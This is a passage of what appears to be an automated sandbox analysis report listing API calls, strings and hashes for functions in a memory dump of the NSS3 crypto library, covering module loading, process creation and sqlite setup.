PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C7A0148,,defaultModDB,internalKeySlot), ref: 6C6674CC
free.MOZGLUE(00000000), ref: 6C667513
free.MOZGLUE(00000000), ref: 6C66751B
free.MOZGLUE(00000000), ref: 6C667528
free.MOZGLUE(00000000), ref: 6C66753C
free.MOZGLUE(00000000), ref: 6C667550
free.MOZGLUE(00000000), ref: 6C667561
free.MOZGLUE(00000000), ref: 6C667572
free.MOZGLUE(00000000), ref: 6C667583
free.MOZGLUE(00000000), ref: 6C667594
free.MOZGLUE(00000000), ref: 6C6675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6675BD
free.MOZGLUE(00000000), ref: 6C6675C8
free.MOZGLUE(00000000), ref: 6C6675F1
PR_NewLock.NSS3 ref: 6C667636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667686
PR_NewLock.NSS3 ref: 6C6676A2

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C667707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C66771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C667731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C66774A
DeleteCriticalSection.KERNEL32(?), ref: 6C667770
free.MOZGLUE(?), ref: 6C667779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C667821
PORT_Alloc_Util.NSS3(?), ref: 6C667837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C66785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C66786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678AC
free.MOZGLUE(00000000), ref: 6C6678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678F3
free.MOZGLUE(00000000), ref: 6C6678FC
free.MOZGLUE(00000000), ref: 6C66791C

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6674C7
extern:, xrefs: 6C66772B
rdb:, xrefs: 6C667744
dbm:, xrefs: 6C667716
NSS Internal Module, xrefs: 6C6674A2, 6C6674C6
,defaultModDB,internalKeySlot, xrefs: 6C66748D, 6C6674AA
Spac, xrefs: 6C667389
sql:, xrefs: 6C6676FE
dll, xrefs: 6C66788E
kbi., xrefs: 6C667886

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction ID: b8c2f13f2c6d120a2c0e645878d2398f77352178374a0f1a0a2ea9851bc792a4
Opcode Fuzzy Hash: c63ee32a882def3eab86ab0da8de2da8a27cfa7a79f26545318d721529acdd4a
Instruction Fuzzy Hash: 065206B1E01205ABEF108F66DC09BAE7BB4BF06348F144138ED19A7E41E771D954CB9A

Function 6C68BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C68C0C8

Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C7195CD
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719622
Part of subcall function 6C719440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C71964E

PR_EnterMonitor.NSS3 ref: 6C68C0AE

Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C7191AA
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719212
Part of subcall function 6C719090: _PR_MD_WAIT_CV.NSS3 ref: 6C71926B

Part of subcall function 6C640600: GetLastError.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C640642
Part of subcall function 6C640600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6405E2), ref: 6C64065D
Part of subcall function 6C640600: GetLastError.KERNEL32 ref: 6C640678
Part of subcall function 6C640600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C64068A
Part of subcall function 6C640600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C640693
Part of subcall function 6C640600: PR_SetErrorText.NSS3(00000000,?), ref: 6C64069D
Part of subcall function 6C640600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,DFA89462,?,?,?,?,?,6C6405E2), ref: 6C6406CA
Part of subcall function 6C640600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6405E2), ref: 6C6406E6

PR_EnterMonitor.NSS3 ref: 6C68C0F2
PR_ExitMonitor.NSS3 ref: 6C68C10E
PR_ExitMonitor.NSS3 ref: 6C68C081

Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C71945B
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719479
Part of subcall function 6C719440: EnterCriticalSection.KERNEL32 ref: 6C719495
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C7194E4
Part of subcall function 6C719440: TlsGetValue.KERNEL32 ref: 6C719532
Part of subcall function 6C719440: LeaveCriticalSection.KERNEL32 ref: 6C71955D

PR_EnterMonitor.NSS3 ref: 6C68C068

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C640600: GetProcAddress.KERNEL32(?,?), ref: 6C640623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C68C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C68C183
free.MOZGLUE(00000000), ref: 6C68C18E
PR_LoadLibrary.NSS3(?), ref: 6C68C1A3
PR_EnterMonitor.NSS3 ref: 6C68C1D4
PR_ExitMonitor.NSS3 ref: 6C68C1F3
PR_CallOnce.NSS3(6C7B2318,6C68CA70), ref: 6C68C210
PR_EnterMonitor.NSS3 ref: 6C68C22B
PR_ExitMonitor.NSS3 ref: 6C68C247
PR_EnterMonitor.NSS3 ref: 6C68C26A
PR_ExitMonitor.NSS3 ref: 6C68C287
PR_UnloadLibrary.NSS3(?), ref: 6C68C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C68C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C68C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C68C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C68C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C68C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C68C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C68C8D5
free.MOZGLUE(00000000), ref: 6C68C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C68C9E5
free.MOZGLUE(00000000), ref: 6C68CA5A

Strings

FC_GetFunctionList, xrefs: 6C68C098
NSC_GetFunctionList, xrefs: 6C68C093
NSS_FORCE_TOKEN_LOCK, xrefs: 6C68C77D
NSC_GetInterface, xrefs: 6C68C04F
NSS_ReturnModuleSpecData, xrefs: 6C68C275
NSS_DISABLE_UNLOAD, xrefs: 6C68C7B0
PKCS 11, xrefs: 6C68C2F9, 6C68C314
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C68C38D
nss_mod_log, xrefs: 6C68C3CC
NSC_ModuleDBFunc, xrefs: 6C68C0FC
Vendor NSS FIPS Interface, xrefs: 6C68C34A
FC_GetInterface, xrefs: 6C68C054

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction ID: bfc164059f426a90be17f7173d43e6af8aaabf75737d0e53c750dc60fc8f5212
Opcode Fuzzy Hash: 32022aea34f38bb9ef284d4f322a8b24f6e0a006a616c5d74447d81d60ea0bf4
Instruction Fuzzy Hash: 4142A0B1A062049FDF00DF54D88AF9A3BB0FB46348F058138D90A9BB61E731D555CBAD

Function 6C763FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C763FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C763FFE
malloc.MOZGLUE(-00000003), ref: 6C764016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C79FC62), ref: 6C76404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C76407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C7640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764112
malloc.MOZGLUE(00000000), ref: 6C76411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C76414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764160
free.MOZGLUE(?), ref: 6C76416C
malloc.MOZGLUE(?), ref: 6C7641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C7641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C764520), ref: 6C764244
GetEnvironmentStrings.KERNEL32 ref: 6C76424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C764283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7642E4
malloc.MOZGLUE(00000002), ref: 6C7642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764342
GetStdHandle.KERNEL32(000000F6), ref: 6C7643AB
GetStdHandle.KERNEL32(000000F5), ref: 6C7643B2
GetStdHandle.KERNEL32(000000F4), ref: 6C7643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C764403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C764410

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C76445E
CloseHandle.KERNEL32(?), ref: 6C76446B
free.MOZGLUE(?), ref: 6C764482
free.MOZGLUE(00000000), ref: 6C764492
free.MOZGLUE(00000000), ref: 6C7644A4
GetLastError.KERNEL32 ref: 6C7644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C7644BE
free.MOZGLUE(?), ref: 6C7644C7
free.MOZGLUE(00000000), ref: 6C7644D5
free.MOZGLUE(00000000), ref: 6C7644EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6C7641E9
=, xrefs: 6C7644F8
D, xrefs: 6C764396

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction ID: 23935f0d9413965d2c645673b8da9021651e89a91f21d93ee0585dd14c0b0eec
Opcode Fuzzy Hash: 71cd1855b92fe98a96afd56518ecd5b1af6f87e2b98989fb8d76b7deb5b65d0a
Instruction Fuzzy Hash: B202F470E043559FEB10CFAACA947AEBBB4AF06308F244179EC65A7F41D7319804DB91

Function 6C676D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C77A8EC,0000006C), ref: 6C676DC6
memcpy.VCRUNTIME140(?,6C77A958,0000006C), ref: 6C676DDB
memcpy.VCRUNTIME140(?,6C77A9C4,00000078), ref: 6C676DF1
memcpy.VCRUNTIME140(?,6C77AA3C,0000006C), ref: 6C676E06
memcpy.VCRUNTIME140(?,6C77AAA8,00000060), ref: 6C676E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C676E38

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C676E76
TlsGetValue.KERNEL32 ref: 6C67726F
EnterCriticalSection.KERNEL32(?), ref: 6C677283

Strings

!, xrefs: 6C677123

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction ID: a0762196239a323abfd35addf185e031389bad86fbd11ab7c43b1b5a9c4769e8
Opcode Fuzzy Hash: cbf9935b07b4f8437322e8285c271ebdc04b3272544acce4d2a0c77f58947c04
Instruction Fuzzy Hash: 7B729E75D052199FDF21CF28CC8879ABBB5EB49304F1445A9E80CA7701EB31AA85CFA5

Function 6C5E3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5E3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5E410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E449C

Strings

%s at line %d of [%.10s], xrefs: 6C5E4495, 6C5E44F9, 6C5E459E, 6C5E4769, 6C5E4809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E4452, 6C5E4486, 6C5E44EA, 6C5E4571, 6C5E4580, 6C5E458F, 6C5E475A, 6C5E47FA
database corruption, xrefs: 6C5E4490, 6C5E44F4, 6C5E4599, 6C5E4764, 6C5E4804

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction ID: b39231fc6646ed9759bb5b54d2c4575b348b7eccfbc0ac5690f5997df00c517c
Opcode Fuzzy Hash: 3d47af78744439ce07bd33391a7b8c4c4c71d718abd35ec90f22400094938668
Instruction Fuzzy Hash: 7D82A375A04205CFCB04CFA9C984B9EB7B2BF4D318F2585A9D905ABB61D731EC42CB91

Function 6C6BAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6BACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C6BACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C6BACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C6BAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6BADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BADF0

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6BB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6BB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C6BB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6BB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6BB40C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction ID: 55dc86e3d85ddee7acbb1eb7ab738f2044b414fd00b935375330946e1411942d
Opcode Fuzzy Hash: 4134caf94f91c36ffc25a8402a65d21032f80c7b25c2e30ab3c2ea9ce8a0ecc5
Instruction Fuzzy Hash: 7922B171904301AFE710CF14CC84BAA77E1AF8530CF14857CE9596B792E772E869CB9A

Function 6C63ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C63ED38

Part of subcall function 6C5D4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C63EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C63EFE4

Part of subcall function 6C6FDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5D5001,?,00000003,00000000), ref: 6C6FDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C63F129
sqlite3_mprintf.NSS3(optimize), ref: 6C63F1D1
sqlite3_free.NSS3(?), ref: 6C63F368

Strings

fts3, xrefs: 6C63F247
matchinfo, xrefs: 6C63F04F, 6C63F082, 6C63F0C2, 6C63F0F2, 6C63F124, 6C63F169
fts3tokenize, xrefs: 6C63F30F
fts3_tokenizer, xrefs: 6C63EE1A, 6C63EEA8
snippet, xrefs: 6C63EF05, 6C63EF37, 6C63EF7C
simple, xrefs: 6C63ED79
fts4aux, xrefs: 6C63ECF9
unicode61, xrefs: 6C63EDB5
optimize, xrefs: 6C63F199, 6C63F1CC, 6C63F211
porter, xrefs: 6C63ED97
fts4, xrefs: 6C63F2AD
offsets, xrefs: 6C63EFAF, 6C63EFDF, 6C63F01F

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction ID: cc0f7ecc91408ca7f261660d5079c40279b2af3e1c88b45207b63b79cf0c7994
Opcode Fuzzy Hash: 3b0a0153f6b9bcb47ffcc7e222f1437bb33de304c53cbc5955d32129c8d06625
Instruction Fuzzy Hash: E002E2B2B047108BE7049F72AC9572B36B2AFC5308F14653CD95E87B01EB75E846879B

Function 6C6B7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C6B7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C6B7D1E

Part of subcall function 6C6B7870: SECOID_FindOID_Util.NSS3(?,?,?,6C6B91C5), ref: 6C6B788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6B7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C6B7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C6B7DD3
